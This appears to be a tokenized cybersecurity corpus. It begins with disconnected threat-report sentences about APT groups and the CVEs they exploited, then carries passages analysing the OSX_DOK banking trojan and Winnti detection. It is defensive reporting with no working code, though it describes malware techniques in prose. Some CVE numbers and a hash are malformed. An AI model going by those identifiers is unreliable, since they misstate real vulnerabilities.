Just a few months later , in February 2015 , we announced the discovery of Carbanak , a cyber-criminal gang that used custom malware and APT techniques to steal millions of dollars while infecting hundreds of financial institutions in at least 30 countries .
However , in September last year , our friends at CSIS published a blog detailing a new Carbanak variant affecting one of its customers .
In one remarkable case , the Carbanak 2.0 gang used its access to a financial institution that stores information about shareholders to change the ownership details of a large company .
This Gorgon Group campaign leveraged spear phishing emails with Microsoft Word documents exploiting CVE-2017-0199 .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
While the URL acts similarly to how eye-watch.in : 443 delivers payloads , we also saw the URL leveraging and exploiting security flaws in Flash : CVE-2015-8651 , CVE-2016-1019 , and CVE-2016-4117 .
The exploit , which takes advantage of CVE-2018-4878 , allows an attacker to execute arbitrary code such as an implant .
Documents with the flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
WannaCry utilizes EternalBlue by crafting a custom SMB session request with hard-coded values based on the target system .
WannaCry leverages an exploit , codenamed " EternalBlue " , that was released by the Shadow Brokers on April 14 , 2017 .
Microsoft addressed the SMBv1 vulnerabilities in March 2017 with Security Bulletin MS17-010 .
The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April .
If the DoublePulsar backdoor does not exist , then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit .
Leafminer has developed exploit payloads for this framework ( Table 2 ) that deliver custom malware through attacks against SMB vulnerabilities described by Microsoft .
The EternalBlue exploits from the framework received worldwide attention after being used in the ransomware campaigns WannaCry in May and Petya / NotPetya in June 2017 .
The Leafminer operators use EternalBlue to attempt lateral movement within target networks from compromised staging servers .
Symantec also observed attempts by Leafminer to scan for the Heartbleed vulnerability ( CVE-2014-0160 ) from an attacker-controlled IP address .
The attachments exploited CVE-2017-8759 which was discovered and documented only five days prior to the campaign .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
The group 's capabilities are more than the much discussed CVE-2012-0158 exploits over the past few years .
Instead , the Spring Dragon group is known to have employed spearphish exploits , strategic web compromises , and watering holes attack .
The group 's spearphish toolset includes PDF exploits , Adobe Flash Player exploits , and the common CVE-2012-0158 Word exploits including those generated from the infamous " Tran Duy Linh " kit .
While this particular actor effectively used their almost worn out CVE-2012-0158 exploits in the past , Spring Dragon employs more involved and creative intrusive activity as well .
To mitigate the threat of the described campaign , security teams can consider blocking access to the C2 server 103.236.150.14 and , where applicable , ensure that the Microsoft Security Update KB2553204 is installed in order to patch the CVE-2017-11882 vulnerability .
The actors attempted to exploit CVE-2014-6332 using a slightly modified version of the proof-of-concept ( POC ) code to install a Trojan called Emissary , which is related to the Operation Lotus Blossom campaign .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
Lotus Blossom attempted to exploit CVE-2014-6332 using the POC code available in the wild .
Lotus Blossom was attempting to exploit CVE-2014-6332 to install a new version of the Emissary Trojan , specifically version 5.3 .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Just recently , PIVY was the payload of a zero-day exploit in Internet Explorer used in what is known as a " strategic web compromise " attack against visitors to a U.S. government website and a variety of others .
It came in the form of a " Tran Duy Linh " CVE-2012-0158 exploit kit document MD5 : de8a242af3794a8be921df0cfa51885f61 and was observed on April 10 , 2014 .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
PROMETHIUM and NEODYMIUM both used an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player that , at the time , was both unknown and unpatched .
PROMETHIUM and NEODYMIUM both used a zero-day exploit that executed code to download a malicious payload .
NEODYMIUM also used the exact same CVE-2016-4117 exploit code that PROMETHIUM used , prior to public knowledge of the vulnerability 's existence .
In May 2016 , two apparently unrelated activity groups , PROMETHIUM and NEODYMIUM , conducted attack campaigns in Europe that used the same zeroday exploit while the vulnerability was publicly unknown .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
The discovery by Kaspersky marks at least the fifth zero-day exploit used by BlackOasis and exposed by security researchers since June 2015 .
Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14 , 2017 , FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
In this latest campaign , APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER .
During the past few months , APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities ( CVE-2017-0199 and CVE-2017-11882 ) to target organizations in the Middle East .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
Specifically , Suckfly used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability ( CVE-2014-6332 ) , which affects specific versions of Microsoft Windows .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
TG-3390 uses older exploits to compromise targets , and CTU researchers have not observed the threat actors using zero-day exploits as of this publication .
TG-3390 actors have used Java exploits in their SWCs .
In particular , TG-3390 has exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
In particular , the threat actors have exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
TG-3390 's activities indicate a preference for leveraging SWCs and scan-and-exploit techniques to compromise target systems .
Even when we observed LuckyMouse using weaponized documents with CVE-2017-11882 ( Microsoft Office Equation Editor , widely used by Chinese-speaking actors since December 2017 ) , we can′t prove they were related to this particular attack .
LuckyMouse has been spotted using a widely used Microsoft Office vulnerability ( CVE-2017-11882 ) .
No zero-day vulnerabilities were used to breach targeted networks , instead " TG-3390 relied on old vulnerabilities such as CVE-2011-3544 " — a near-year-old Java security hole — " and CVE-2010-0738 to compromise their targets " , Dell SecureWorks' researchers reported .
Execute a command through exploits for CVE-2017-11882 .
Execute a command through exploits for CVE-2018-0802 .
The document attached to this e-mail exploits CVE-2012-0158 .
Tropic Trooper is also still exploiting CVE-2012-0158 , as are many threat actors .
The documents attached to spear-phishing e-mails used in both attacks contain code that exploits CVE-2012-0158 , which despite its age remains one of the most common Microsoft Word vulnerabilities being exploited by multiple threat actors .
the backdoor is packaged together with the CVE-2013-5065 EoP exploit and heavily obfuscated .
While we were unable to recover the initial vulnerability used , it is possibly the same CVE-2014-0515 Adobe Flash exploit first reported by Cisco TRAC in late July .
However , to increase success rates APT20 can use zero-day exploits , so even a properly patched system would be compromised .
PLEAD also dabbled with a short-lived , fileless version of their malware when it obtained an exploit for a Flash vulnerability ( CVE-2015-5119 ) that was leaked during the Hacking Team breach .
PLEAD also uses CVE-2017-7269 , a buffer overflow vulnerability Microsoft Internet Information Services ( IIS ) 6.0 to compromise the victim 's server .
Kaspersky Lab has detected a new method of first infection that uses a drive-by-download with a flash exploit ( CVE-2015-5119 , the one leaked from The Hacking Team incident ) .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
Moreover , they used the same exploit kit Niteris as that in the Corkow case .
The CVE-2012-0773 was originally discovered by VUPEN and has an interesting story .
The decoy documents used by the InPage exploits suggest that the targets are likely to be politically or militarily motivated .
While documents designed to exploit the InPage software are rare , they are not new – however in recent weeks Unit42 has observed numerous InPage exploits leveraging similar shellcode , suggesting continued use of the exploit previously discussed by Kaspersky .
Compared to Patchwork , whose Trojanized documents exploit at least five security flaws , Confucius' backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
Confucius' backdoors are delivered through Office documents exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
The sctrls backdoor we came across is delivered via RTF files exploiting CVE-2015-1641 .
The documents that exploit CVE-2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
Hackers use the exploits " Nitris Exploit Kit " ( earlier known as CottonCastle ) , which is not available in open sources and sold only to trusted users .
Hackers first actively spread bots using the Niteris exploit , and then search for infected devices at banks amongst their bots by analyzing IP addresses , cracked passwords and results of the modules performance .
In August 2014 , some of our users observed targeted attacks with a variation of CVE-2012-0158 and an unusual set of malware .
Longhorn , which we internally refer to as " The Lamberts " , first came to the attention of the ITSec community in 2014 , when our colleagues from FireEye discovered an attack using a zero day vulnerability ( CVE-2014-4148 ) .
The first time the Lambert family malware was uncovered publicly was in October 2014 , when FireEye posted a blog about a zero day exploit ( CVE-2014-4148 ) used in the wild .
While in most cases the infection vector remains unknown , the high profile attack from 2014 used a very complex Windows TTF zero-day exploit ( CVE-2014-4148 ) .
To further exemplify the proficiency of the attackers leveraging the Lamberts toolkit , deployment of Black Lambert included a rather sophisticated TTF zero day exploit , CVE-2014-4148 .
This sample was also found to be deployed using the CVE-2012-0158 vulnerability .
Our analysis shows that actors attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Unit 42 's analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Our analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
In this report , we'll review how the actors attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how the NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
Earlier this month , Securelist 's technology caught another zero-day exploits deployed in targeted attacks .
Operation Daybreak appears to have been launched by ScarCruft in March 2016 and employs a previously unknown ( 0-day ) Adobe Flash Player exploit .
Adobe Flash Player exploit .
It is also possible that ScarCruft deployed another zero day exploit , CVE-2016-0147 , which was patched in April .
Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
ScarCruft 's Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
Nevertheless , resourceful threat actors such as ScarCruft will probably continue to deploy zero-day exploits against their high profile targets .
This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .
Earlier this month , we caught another zero-day Adobe Flash Player exploits deployed in targeted attacks .
The other one , ScarCruft 's Operation Erebus employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The other one , " Operation Erebus " employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The ScarCruft APT gang has made use of a Flash zero day patched Thursday by Adobe to attack more than two dozen high-profile targets in Russia and Asia primarily .
Adobe on Thursday patched a zero-day vulnerability in Flash Player that has been used in targeted attacks carried out by a new APT group operating primarily against high-profile victims in Russia and Asia .
Researchers at Kaspersky Lab privately disclosed the flaw to Adobe after exploits against the zero-day were used in March by the ScarCruft APT gang in what Kaspersky Lab is calling Operation Daybreak .
Kaspersky speculates that ScarCruft could also be behind another zero-day , CVE-2016-0147 , a vulnerability in Microsoft XML Core Services that was patched in April .
Another set of attacks called Operation Erebus leverages another flash exploit , CVE-2016-4117 , and relies on watering hole attacks as a means of propagation .
Thursday 's Flash Player update patched 36 vulnerabilities in total including the zero day CVE-2016-4171 .
Wild Neutron 's attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit .
Wild Neutron 's attack took advantage of a Java zero-day exploit and used hacked forums as watering holes .
Instead of Flash exploits , older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013 , detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b .
In that case , we observed Buhtrap using a local privilege escalation exploit , CVE-2019-1132 , against one of its victims .
Prior to that report , we published detail analysis on malware exploiting CVE-2018-8414 vulnerability (remote code execution in SettingContent-ms) , which is believed a work of DarkHydrus .
WannaCry incorporated the leaked EternalBlue exploit that used two known vulnerabilities in Windows CVE-2017-0144 and CVE-2017-0145 to turn the ransomware into a worm , capable of spreading itself to any unpatched computers on the victim's network and also to other vulnerable computers connected to the internet .
One vulnerability is a Windows zero-day vulnerability ( CVE-2019-0703 ) discovered by Symantec .
Bemstour exploits two Windows vulnerabilities in order to achieve remote kernel code execution on targeted computers .
The second Windows vulnerability ( CVE-2017-0143 ) was patched in March 2017 after it was discovered to have been used by two exploit tools—EternalRomance and EternalSynergy—that were also released as part of the Shadow Brokers leak .
These include CVE-2010-3962 as part of an attack campaign in 2010 and CVE-2014-1776 in 2014 .
Beginning in August 2016 , a group calling itself the Shadow Brokers began releasing tools it claimed to have originated from the Equation Group .
The zero-day vulnerability found and reported by Symantec CVE-2019-0703 occurs due to the ACT the Windows SMB Server handles certain requests .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
this RTF exploits again the CVE-2017-1882 on eqnedt32.exe .
At this time , we do not believe that the attackers found a new ASA exploit .
We believe the groups moved to use CVE-2018-0798 instead of the other Microsoft Equation Editor Remote Code Execution ( RCE ) vulnerabilities because the former is more reliable as it works on all known versions of Equation Editor .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report , however , the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft ’s Equation Editor ( EQNEDT32 ) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
CVE-2018-0798 is an RCE vulnerability , a stack buffer overflow that can be exploited by a threat actor to perform stack corruption .
As observed previously with CVE-2017-11882 and CVE-2018-0802 , the weaponizer was used exclusively by Chinese Cyber Espionage actors for approximately one year December 2017 through December 2018 , after which cybercrime actors began to incorporate it in their malicious activity .
Analysis of the Royal Road weaponizer has resulted in the discovery that multiple Chinese threat groups started utilizing CVE-2018-0798 in their RTF weaponizer .
These findings also suggest that the threat groups have robust exploit developing capabilities because CVE-2018-0798 is not widely reported on and it is typically not incorporated into publicly available weaponizers .
Upon opening of the MS Word document , our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
Attackers relied on Microsoft Equation Editor exploit CVE-2018-0798 to deliver a custom malware that Proofpoint researchers have dubbed Cotx RAT. Maudi Surveillance Operation which was previously reported in 2013 .
specifically CVE-2018-0798 , before downloading subsequent payloads .
Dubbed ‘Operation Sheep’ , this massive data stealing campaign is the first known campaign seen in the wild to exploit the Man-in-the-Disk vulnerability revealed by Check Point Research earlier last year .
Notably , APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence .
We’ve discovered a new version of BalkanDoor with a new method for execution/installation: an exploit of the WinRAR ACE vulnerability CVE-2018-20250 .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive , disguised as a RAR archive (i.e. , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
The actor attempts to exploit CVE-2018–8440 — an elevation of privilege vulnerability in Windows when it improperly handles calls to Advanced Local Procedure Call — to elevate the privileges using a modified proof-of-concept exploit .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
Previously , Cloud Atlas dropped its validator” implant named PowerShower” directly , after exploiting the Microsoft Equation vulnerability CVE-2017-11882 mixed with CVE-2018-0802 .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
Analysis of the emails has shown that the attachment contains an exploit for the CVE-2017-11882 vulnerability .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
We believe Emissary Panda exploited a recently patched vulnerability in Microsoft SharePoint tracked by CVE-2019-0604 , which is a remote code execution vulnerability used to compromise the server and eventually install a webshell .
Of particular note is their use of tools to identify systems vulnerable to CVE-2017-0144 , which is the same vulnerability exploited by EternalBlue that is best known for its use in the WannaCry attacks of 2017 .
In addition to the aforementioned post-exploitation tools , the actors used these webshells to upload legitimate executables that they would use DLL sideloading to run a malicious DLL that has code overlaps with known Emissary Panda attacks .
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OSX Malware Linked to Operation Emmental Hijacks User Network Traffic .
The OSX_DOK malware ( Detected by Trend Micro as OSX_DOK.C ) showcases sophisticated features such as certificate abuse and security software evasion that affects machines using Apple ’s OS X operating system .
This malware , which specifically targets Swiss banking users , uses a phishing campaign to drop its payload , which eventually results in the hijacking of a user ’s network traffic using a Man-in-the-Middle ( MitM ) attack .
OSX_DOK.C seems to be another version of WERDLOD ( Detected by Trend Micro as TROJ_WERDLOD Family ) , which is a malware that was used during the Operation Emmental campaigns—an interesting development that we will tackle further in this blog post .
OSX_DOK.C first arrives via a phishing email that contains certain files labeled as either .zip or .docx files .
The sample we analyzed was a purported message from a police inspector in Zurich allegedly claiming to unsuccessfully contact the recipient .
The email also comes with two files attached claiming to contain questions for the user : one is a .zip file , which is a fake OS X app , while the other is a .docx file used to target Windows operating systems using WERDLOD .
Both of these samples work as Banking Trojans and provide similar functionalities .
Some examples of the files used in the email attachment include the following :Zahlungsinformationen 01.06.2017.zip .
Zahlungsinformationen digitec.zip .
Dokument 09.06.2017.zip .
Dokument 09.06.2017.docx .
Once the docx file included in the phishing email is clicked , a warning window will pop up .
After this , the App Store on the system will be removed , followed by a full screen fake OS X update screen .
It will ask for a password to run command as root .
The malware will begin to download other utilities .
It relies on Homebrew , an open source software package manager to install Golang and Tor .
The malware will then install fake certificates in the system to perform a MitM attack without notifying the user .
The structure of the fake App Store matches the application bundle structure and provides both English and German interfaces .
The archive in Mac OS X looks like this :Mac OS X will run the application if it passes certificates .
In this case , the malware is signed off by a “ developer ” , which may actually be a dummy account or that of a compromised user .
In addition , the time stamp on the CA is new , which might mean that it was obtained specifically for this attack .
The fake certificate imitates the COMODO root certificate .
Take note that the fake certificate does not contain a COMODO Certificate Authority seal that certifies its validity , as seen in the comparison below :We noticed that this malware will not work for Mozilla Firefox or Google Chrome since these two browsers have their own root certificates .
Of all the major browsers , only Safari uses the system ’s certificates .
We observed the attacker targeting both Windows and Mac OS X in the same spam mail on June 9 , 2017 .
There is a file shortcut embedded in the malicious .docx file—one that will download an executable file from Dropbox that executes once clicked by the user .
The functionalities are similar to the malicious app provided , which includes installing tor and proxy .
We have already notified Dropbox about the use of its service for this malware .
Dropbox has already taken down the links .
The malware will install two proxies running on local host port 5555 and 5588 .
All of the traffic will be hijacked into the first proxy ( port 5555 ) with the victim ’s external IP address as parameter .
The first ( port 5555 ) proxy first finds the IP parameter .
If it is not in Switzerland , the traffic will proceed as normal .
If it detects an IP located in Switzerland , the malware will run an obfuscated JavaScript code and find its visiting domain .
If the domain is in the target , the malware will perform a MitM attack and redirect the traffic to the second proxy ( port 5588 ) , which routes the traffic to the Tor network .
The purpose of these steps is to target users in Switzerland and hijack their traffic After deobfuscating the malware , we found the target domains :The target domain ’s visitors will be redirected into an e-banking login page that looks and acts normally , but is located on dark web sites .
However , once the victim enters an account and password .
A window will pop out .
The pop-out window is just smoke and mirrors , where nothing actually happens once the countdown timer reaches zero .
We analyzed the webpage and found attackers injecting a script into the webpage .
Once the user enters an account and password , it will initiate POST using AJAX .
The POST message is sent to the same site as the fake login page—which an attacker can control inside the Tor network .
We decoded the data section and found not only the account and password , but that it also fingerprinted the user ’s browser and system information .
While Operation Emmental was able to bypass two-way authentication by tricking its victims into installing a fake app , we have not observed OSX_DOK.C doing this .
However , since they can inject code into the webpage , it means they have the ability to do this as well .
We performed static analysis on the sample and found it packed by Ultimate Packer for Executables ( UPX ) , an open source executable packer that can often be abused by malware .
We successfully unpacked the initial sample we found dropped by the UPX unpacker .
The malware is not obfuscated so we easily found interesting strings here .
We can see that the malware relies on bash shell for most of its setup .
We were not able to unpack the sample discovered after June 9 , 2017 .
The UPX gave a warning message about memory buffer overflow .
The malware author seemingly made unpacking the malware more difficult to slow down or even evade the antivirus engine ’s scanning process .
The packer is the same but the malware tries to exploit the undiscovered bug in the UPX library that causes unpack failure .
We have reported the issues to the UPX team , and they have already fixed it .
The impacted versions of the UPX library are 3.94 , 3.93 , and 3.92 .
This technique enables the malware to efficiently run while evading unpacking techniques from the AntiVirus-integrated UPX library .
As mentioned earlier , we believe that OSX_DOK.C might be the MAC OS X version of WERDLOD , an online banking malware that used the same techniques as Operation Emmental .
Other research have also connected the OSX malware and Retefe ( the external term used for WERDLOD ) via similarities in their behavior .
While OSX_DOK.C is designed forOS X , which is a Unix-like system , WERDLOD is designed for Windows .
But in terms of features and behaviors , these two malware are very similar .
Here is a list of their similarities .
Both malware kill all current browsers before installing fake certificates :Both WERDLOD and OSX_DOK.C are designed to kill the browser process before installing fake certificates .
While WERDLOD kills processes for Internet Explorer , Firefox , and Chrome , OSX_DOK.C does the same on Safari , Firefox , and Chrome .
Both malware share the same proxy settings and script :While WERDLOD and OSX_DOK.C use different codes ( since they target different operating systems ) , they have similar proxy settings and script formats .
In particular , WERDLOD uses scripts running on http://127.0.0.1:5555/#{random_string}.js?ip=#{my_ip} as proxy :Comparing it to OSX_DOK.C , we can see that it uses the same script format .
Both malware have similar targets .
Both WERDLOD and OSX_DOK.C targeted financial institutions , with a particular focus on banks in Switzerland .
Further analysis of both malware revealed that their main targets are very similar , as seen in the screenshot below .
While it ’s possible that this is a coincidence , the rest of the evidence makes it unlikely for these two malware to target the same organizations by chance .
Given the connection between WERDLOD and OSX_DOK.C , it is reasonable to assume that the latter is also a part of the Operational Emmental campaign .
To further illustrate , here is a timeline of Operation Emmental and its potential relationship to OSX_DOK.C :Despite phishing incidents for Mac devices being rarer than their Windows counterparts , users should still be aware that attackers can target them at any moment .
By implementing best practices for phishing-type attacks—such as refraining from downloading files unless they are absolutely certain that they come from trustworthy sources—users can avoid being victimized by malware such as OSX_DOK.C that prey on users who lack awareness of phishing strategies .
In addition , end users can also benefit from security solutions such as Trend Micro Home Security for Mac , which provides comprehensive security and multi-device protection against viruses , ransomware , malicious websites , and identity thieves .
It also provides secure storage of passwords and other sensitive information .
Trend Micro™ Mobile Security for Apple devices ( available on the App Store ) can monitor and block phishing attacks and other malicious URLs .
For enterprises , Trend Micro ’s Smart Protection Suites with XGen™ security , which support Mac systems , infuse high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint .
Detecting threat actors in recent German industrial attacks with Windows Defender ATP .
When a Germany-based industrial conglomerate disclosed in December 2016 that it was breached early that year , the breach was revealed to be a professionally run industrial espionage attack .
According to the German press , the intruders used the Winnti family of malware as their main implant , giving them persistent access to the conglomerate ’s network as early as February 2016 .
In this blog , we look at the Winnti malware implant as used by two known activity groups BARIUM and LEAD .
We look at how these activity groups introduce the implant to various targets and techniques used by Microsoft researchers to track the implant .
To show how this breach and similar breaches can be mitigated , we look at how Windows Defender Advanced Threat Protection ( Windows Defender ATP ) flags activities associated with BARIUM , LEAD , and other known activity groups and how it provides extensive threat intelligence about these groups .
We go through the Winnti implant installation process and explore how Windows Defender ATP can capture such attacker methods and tools and provide visualized contextual information that can aid in actual attack investigation and response .
We then discuss how centralized response options , provided as enhancements to Windows Defender ATP with the Windows 10 Creators Update , can be used to quickly stop threats , including stopping command and control ( C&C ) communication and preventing existing implants from installing additional components or from moving laterally to other computers on the network .
Microsoft Threat Intelligence associates Winnti with multiple activity groups—collections of malware , supporting infrastructure , online personas , victimology , and other attack artifacts that the Microsoft intelligent security graph uses to categorize and attribute threat activity .
Microsoft labels activity groups using code names derived from elements in the periodic table .
In the case of this malware , the activity groups strongly associated with Winnti are BARIUM and LEAD .
But even though they share the use of Winnti , the BARIUM and LEAD activity groups are involved in very different intrusion scenarios .
BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms .
Once BARIUM has established rapport , they spear-phish the victim using a variety of unsophisticated malware installation vectors , including malicious shortcut ( .lnk ) files with hidden payloads , compiled HTML help ( .chm ) files , or Microsoft Office documents containing macros or exploits .
Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles , collaborative document editing sites , and blogs for C&C .
Later stages of the intrusions rely upon Winnti for persistent access .
The majority of victims recorded to date have been in electronic gaming , multimedia , and Internet content industries , although occasional intrusions against technology companies have occurred .
In contrast , LEAD has established a far greater reputation for industrial espionage .
In the past few years , LEAD ’s victims have included :Multinational , multi-industry companies involved in the manufacture of textiles , chemicals , and electronics .
Pharmaceutical companies .
A company in the chemical industry .
University faculty specializing in aeronautical engineering and research .
A company involved in the design and manufacture of motor vehicles .
A cybersecurity company focusing on protecting industrial control systems .
During these intrusions , LEAD ’s objective was to steal sensitive data , including research materials , process documents , and project plans .
LEAD also steals code-signing certificates to sign its malware in subsequent attacks .
In most cases , LEAD ’s attacks do not feature any advanced exploit techniques .
The group also does not make special effort to cultivate victims prior to an attack .
Instead , the group often simply emails a Winnti installer to potential victims , relying on basic social engineering tactics to convince recipients to run the attached malware .
In some other cases , LEAD gains access to a target by brute-forcing remote access login credentials , performing SQL injection , or exploiting unpatched web servers , and then they copy the Winnti installer directly to compromised machines .
Microsoft Analytics shows that Winnti has been used in intrusions carried out throughout Asia , Europe , Oceania , the Middle East , and the United States in the last six months .
The most recent series of attacks observed was in December 2016 .
Although tracking threats like Winnti involves old-fashioned investigative work , Microsoft Threat Intelligence analysts take advantage of machine learning to work at scale .
When attackers used Winnti to maintain access to web servers , they hid the implant in plain sight by masquerading it as a trusted , legitimate file .
This was the case in two known intrusions in 2015 , where attackers named the implant DLL “ ASPNET_FILTER.DLL ” to disguise it as the DLL for the ASP.NET ISAPI Filter .
Although there are obvious differences between the legitimate file and the malicious one , filtering out the malicious file would involve going through a data set with noise from millions of possible file names , software publishers , and certificates .
Microsoft researchers used a combination of anomaly detection and supervised machine learning to reduce the data set and separate meaningful , malware-related anomalies from benign data .
Windows Defender ATP helps network security professionals deal with intrusions from activity groups like LEAD and BARIUM in several ways .
The following examples were developed using a Winnti installer that was used in attacks in December 2016 .
Microsoft Threat Intelligence continually tracks activity groups such as LEAD and BARIUM and documents the tactics , techniques , and procedures they employ in their attacks , with a special focus on the tools and infrastructure they use to facilitate those attacks .
Windows Defender ATP continuously monitors protected systems for such indicators of hostile activity and alerts security operations center ( SOC ) personnel to their presence .
To provide context around such alerts , Windows Defender ATP also features a short summary of the group ’s history , goals , methods , and tools , with links to extensive documentation for technically minded users .
Windows Defender ATP is also capable of detecting previously unknown attacks by monitoring system behavior indicative of hostile activity , including :Malware installation , persistence , and activation .
Backdoor command and control .
Credential theft .
Lateral movement to other machines on the network .
For example , numerous malware families register themselves as services during installation to guarantee persistence across reboots .
A majority of malware that perform this persistence technique modify the necessary registry keys in ways that do not fit the profile of a legitimate program .
Winnti is no exception , and so , during Winnti ’s installation process , Windows Defender ATP is able to raise behavioral alerts .
To improve coverage while minimizing false positives , Windows Defender ATP uses the intelligent security graph to differentiate between suspicious and benign behavior before generating alerts .
It considers the age of the file , its global prevalence , and the presence and validity of a digital signature along with the method of service creation .
For alerts raised either by specific threat intelligence tied to activity groups or by more generic suspicious behaviors , Windows Defender ATP provides rich , visualized technical context .
This visual context enables SOC personnel to investigate alerts with all related artifacts , understand the scope of the breach , and prepare a comprehensive action plan .
In the screenshots below , Windows Defender ATP clearly presents the Winnti installation where an installer drops a DLL to disk , loads the DLL using rundll32 , sets the DLL as a service , and saves a copy of itself in C:\Windows\Help .
Windows Defender ATP displays these activities as process trees in a machine timeline for the infected computer .
Analysts can easily extract detailed information from these trees , such as the implant DLL dropped by the installer , the command used to call rundll32.exe and load the DLL , and the registry modifications that set the DLL as a service .
This information can provide an initial means by which to assess the scope of the breach .
The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .
